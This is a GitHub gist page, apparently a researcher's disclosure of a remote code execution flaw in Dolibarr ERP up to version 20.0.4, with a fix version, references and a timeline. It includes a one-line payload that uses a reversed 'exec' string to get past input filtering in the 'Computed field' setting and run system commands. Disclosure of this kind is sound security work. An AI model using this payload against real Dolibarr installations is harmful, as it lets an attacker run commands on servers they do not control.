Skip to content

Instantly share code, notes, and snippets.

@Xib3rR4dAr

Xib3rR4dAr/dolibarr_20.0.4_rce.md

Last active March 9, 2025 20:36
Show Gist options
  • Save Xib3rR4dAr/920c631dcc08c372cf2f28264b7813c2 to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/920c631dcc08c372cf2f28264b7813c2 to your computer and use it in GitHub Desktop.
Download ZIP
Dolibarr <= 20.0.4 RCE
Raw
dolibarr_20.0.4_rce.md

Remote Code Execution(RCE) in Dolibarr <= 20.0.4

Description: Remote Code Execution(RCE) in Dolibarr
Versions Affected: <= 20.0.4
Date: December 22, 2024
Researcher: Muhammad Zeeshan (Xib3rR4dAr)
Product Link: https://www.dolibarr.org

Proof-of-Concept Exploit

Description

Dolibarr ERP was discovered to contain a remote code execution (RCE) vulnerability.

Usage/Exploitation

The "Computed field" text box used in "Users Module Setup" functionality for Dolibarr is not properly sanitized, thus allowing an authenticated user to execute arbitrary commands.
Payload: strrev('cexe') ('whoami') (note the space)

image

image

image

Fix

Update to version v21.0.0

References

https://github.com/Dolibarr/dolibarr/commit/fcc344f9da6b4d99c408833cd02f0b2d3ae87db4 https://github.com/Dolibarr/dolibarr/releases/tag/21.0.0 https://gist.github.com/Xib3rR4dAr/920c631dcc08c372cf2f28264b7813c2

Timeline

  • Vulnerability discovery in v20.0.1: December 22, 2024
  • Vulnerability reported to Dolibarr: December 23, 2024
  • Vulnerability confirmed by Dolibarr: December 24, 2024
  • Initial Fix: Dec 26, 2024
  • Version 21.0.0 released fixing the vulnerability: December 26, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment